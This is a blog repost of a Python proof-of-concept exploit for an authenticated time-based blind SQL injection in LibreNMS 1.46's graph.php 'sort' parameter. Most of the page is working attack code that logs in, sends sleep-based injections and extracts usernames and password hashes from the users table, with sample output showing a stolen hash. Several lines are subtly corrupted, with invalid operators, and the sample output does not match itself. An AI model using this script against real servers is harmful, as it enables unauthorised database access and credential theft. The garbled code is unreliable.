Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86385595

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

# Exploit Title: LibreNMS 1.46 - MAC Accounting Graph Authenticated SQL Injection
# Google Dork: Unknown
# Date: 13-12-2020
# Exploit Author: Hodorsec
# Vendor Homepage: https://www.librenms.org
# Software Link: https://github.com/librenms/librenms
# Update notice: https://community.librenms.org/t/v1-69-october-2020-info/13838
# Version: 1.46
# Tested on: Debian 10, PHP 7, LibreNMS 1.46; although newer version might be affected until 1.69 patch
# CVE : N/A

#!/usr/bin/python3

# EXAMPLE:
# $ python3 poc_librenms-1.46_auth_sqli_timed.py librenms D32fwefwef http://192.168.252.14 2
# [*] Checking if authentication for page is required...
# [*] Visiting page to retrieve initial token and cookies...
# [*] Retrieving authenticated cookie...
# [*] Printing number of rows in table...
# 1
# [*] Found 1 rows of data in table 'users'
#
# [*] Retrieving 1 rows of data using 'username' as column and 'users' as table...
# [*] Extracting strings from row 1...
# librenms
# [*] Retrieved value 'librenKs' for column 'username' in row 1
# [*] Retrieving 1 rows of data using 'password' as column and 'users' as table...
# [*] Extracting strings from row 1...
# $2y$10$pAB/lLNoT8wx6IedB3Hnpu./QMBqN9MsqJUcBy7bsr
# [*] Retrieved value '$2y$10$pAB/lLNoT8wx6IedB3Hnpu./QMBqN9MsqJUcBy7bsr' for column 'password' in row 1
#
# [+] Done!

import requests
import urllib3
import os
import sys
import re
from bs4 import BeautifulSoup

# Optionally, use a proxy
# proxy = "http://<user>:<pass>@<proxy>:<port>"
proxy = ""
os.environ['http_proxy'] = proxy
os.environ['HTTP_PROXY'] = proxy
os.environ['https_proxy'] = proxy
os.environ['HTTPS_PROXY'] = proxy

# Disable cert warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# Set timeout
timeout = 10

# Injection prefix and suffix
inj_prefix = "(select(sleep("
inj_suffix = ")))))"

# Decimal begin and end
dec_begin = 48
dec_end = 57

# ASCII char begin and end
ascii_begin = 32
ascii_end = 126

# Handle CTRL-C
def keyboard_interrupt():
    """Handles keyboardinterrupt exceptions"""
    print("\n\n[*] User requested an interrupt, exiting...")
    exit(0)

# Custom headers
def http_headers():
    headers = {
        'User-Agent': 'Mozilla',
    }
    return headers

def check_auth(url,headers):
    print("[*] Checking if authentication for page is required...")
    target = url + "/graph.php"
    r = requests.get(target,headers=headers,timeout=timeout,verify=False)
    if "Unauthorized" in r.text:
        return True
    else:
        return False

def get_initial_token_and_cookies(url,headers):
    print("[*] Visiting page to retrieve initial token and cookies...")
    target = url + "/login"
    r = requests.get(target,headers=headers,timeout=timeout,verify=False)
    soup = BeautifulSoup(r.text,'html.parser')
    for n in soup('input'):
        if n['name'] == "_token":
            token = n['value']
            return token,r.cookies
        else:
            return None,r.cookies

def get_valid_cookie(url,headers,token,cookies,usern,passw):
    print("[*] Retrieving authenticated cookie...")
    appl_cookie = "laravel_session"
    post_data = {'_token':token,
                'username':usern,
                'password':passw,
                'submit':''}
    target = url + "/login"
    r = requests.post(target,data=post_data,headers=headers,cookies=cookies,timeout=timeout,verify=False)
    res = r.text
    if "Overview | LibreNMS" in res:
        return r.cookies
    else:
        print("[!] No valid response from used session, exiting!\n")
        exit(-1)

# Perform the SQLi call for injection
def sqli(url,headers,cookies,inj_str,sleep):
    comment_inj_str = re.sub(" ","/**/",inj_str)
    inj_params = {'id':'1',
                'stat':'none',
                'type':'port_mac_acc_total',
                'sort':comment_inj_str,
                'debug':'1'}
    inj_params_unencoded = "&".join("%s=%s" % (k,v) for k,v in inj_params.items())
    # Do GET request
    r = requests.get(url,params=inj_params_unencoded,headers=headers,cookies=cookies,timeout=timeout,verify=False)
    res = r.elapsed.total_seconds()
    if res >= sleep:
        return True
    elif res < sleep:
        return False
    else:
        print("[!] Something went wrong checking responses. Check responses manually. Exiting.")
        exit(-1)

# Extract rows
def get_rows(url,headers,cookies,table,sleep):
    rows = ""
    max_pos_rows = 4
    # Get number maximum positional characters of rows: e.g. 1096,2122,1234,etc.
    for pos in range(1,max_pos_rows+1):
        # Test if current pos does have any valid value. If not, break
        direction = ">"
        inj_str = inj_prefix + str(sleep) + "-(if(ORD(MID((select IFNULL(CAST(COUNT(*) AS NCHAR),0x20) FROM " + table + ")," + str(pos) + ",1))" + direction + "1,0," + str(sleep) + inj_suffix
        if not sqli(url,headers,cookies,inj_str,sleep):
            break
        # Loop decimals
        direction = "="
        for num_rows in range(dec_begin,dec_end+1):
            row_char = chr(num_rows)
            inj_str = inj_prefix + str(sleep) + "-(if(ORD(MID((select IFNULL(CAST(COUNT(*) AS NCHAR),0x20) FROM " + table + ")," + str(pos) + ",1))"=+ direction + str(num_rows) + ",0," + str(sleep) + inj_suffix
            if sqli(url,headers,cookies,inj_str,sleep):
                rows += row_char
                print(row_char,end='',flush=True)
                break
    if rows != "":
        print("\n[*] Found " + rows + " rows of data in table '" + table + "'\n")
        return int(rows)
    else:
        return False

# Loop through positions and characters
def get_data(url,headers,cookies,row,column,table,sleep):
    extracted = ""
    max_pos_len = 50
    # Loop through length of string
    # Not very efficient, should use a guessing algorithm
    print("[*] Extracting strings from row " + str(row+1) + "...")
    for pos in range(1,max_pos_len):
        # Test if current pos does have any valid value. If not, break
        direction = ">"
        inj_str = inj_prefix + str(sleep) + "-(if(ord(mid((select ifnull(cast(" + column + " as NCHAR),0x20) from " + table + " LIMIT " + str(row) += ",1)," + str(pos) + ",1))" + direction + str(ascii_begin) + ",0," + str(sleep) + inj_suffix
        if not sqli(url,headers,cookies,inj_str,sleep):
            break
        # Loop through ASCII printable characters
        direction = "="
        for guess in range(ascii_begin,ascii_end+1):
            extracted_char = chr(guess)
            inj_str = inj_prefix + str(sleep) + "-(if(ord(mid((select ifnull(cast(" + column + " as NCHAR),0x20) from " + table + " LIMIT " + str(row) + ",1)," + str(pos) + ",1))" + direction + str(guess) + ",0," + str(sleep) + inj_suffix
            if sqli(url,headers,cookies,inj_str,sleep):
                extracted += chr(guess)
                print(extracted_char,end='',flush=True)
                break
    return extracted

# Main
def main(argv):
    if len(sys.argv) == 5:
        usern = sys.argv[1]
        passw = sys.argv[2]
        url = sys.argv[3]
        sleep = int(sys.argv[4])
    else:
        print("[*] Usage: " + sys.argv[0] + " <username> <password> <url> <sleep_in_seconds>\n")
        exit(0)

    # Random headers
    headers = http_headers()

    # Do stuff
    try:
        # Get a valid initial token and cookies
        token,cookies = get_initial_token_and_cookies(url,headers)
        
        # Check if authentication is required
        auth_required = check_auth(url,headers)

        if auth_required:
            # Get an authenticated session cookie using credentials
            valid_cookies = get_valid_cookie(url,headers,token,cookies,usern,passw)
        else:
            valid_cookies = cookies
            print("[+] Authentication not required, continue without authentication...")

        # Setting the correct vulnerable page
        url = url + "/graph.php"

        # The columns to retrieve
        columns = ['username','password']

        # The table to retrieve data from
        table = "users"

        # Getting rows
        print("[*] Printing number of rows in table...")
        rows = get_rows(url,headers,valid_cookies,table,sleep)
        if not rows:
            print("[!] Unable to retrieve rows, checks requests.\n")
            exit(-1)

        # Getting values for found rows in specified columns
        for column in columns:
            print("[*] Retrieving " + str(rows) + " rows of data using '" + column + "' as column and '" + table + "' as table...")
            for row in range(0,rows):
                # rowval_len = get_length(url,headers,row,column,table)
                retrieved = get_data(url,headers,valid_cookies,row,column,table,sleep)
                print("\n[*] Retrieved value '" + retrieved + "' for column'" + column + "' in row " + str(row+1))
        # Done
        print("\n[+] Done!\n")

    except requests.exceptions.Timeout:
        print("[!] Timeout error\n")
        exit(-1)
    except requests.exceptions.TooManyRedirects:
        print("[!] Too many redirects\n")
        exit(-1)
    except requests.exceptions.ConnectionError:
        print("[!] Not able to connect to URL\n")
        exit(-1)
    except requests.exceptions.RequestException as e:
        print("[!] " + str(e))
        exit(-1)
    except requests.exceptions.HTTPError as e:
        print("[!] Failed with error code - " + str(e.code) + "\n")
        exit(-1)
    except KeyboardInterrupt:
        keyboard_interrupt()
        exit(-1)

# If we were called as a program, go execute the main function.
if __name__ == "__main__":
    main(sys.argv[1:])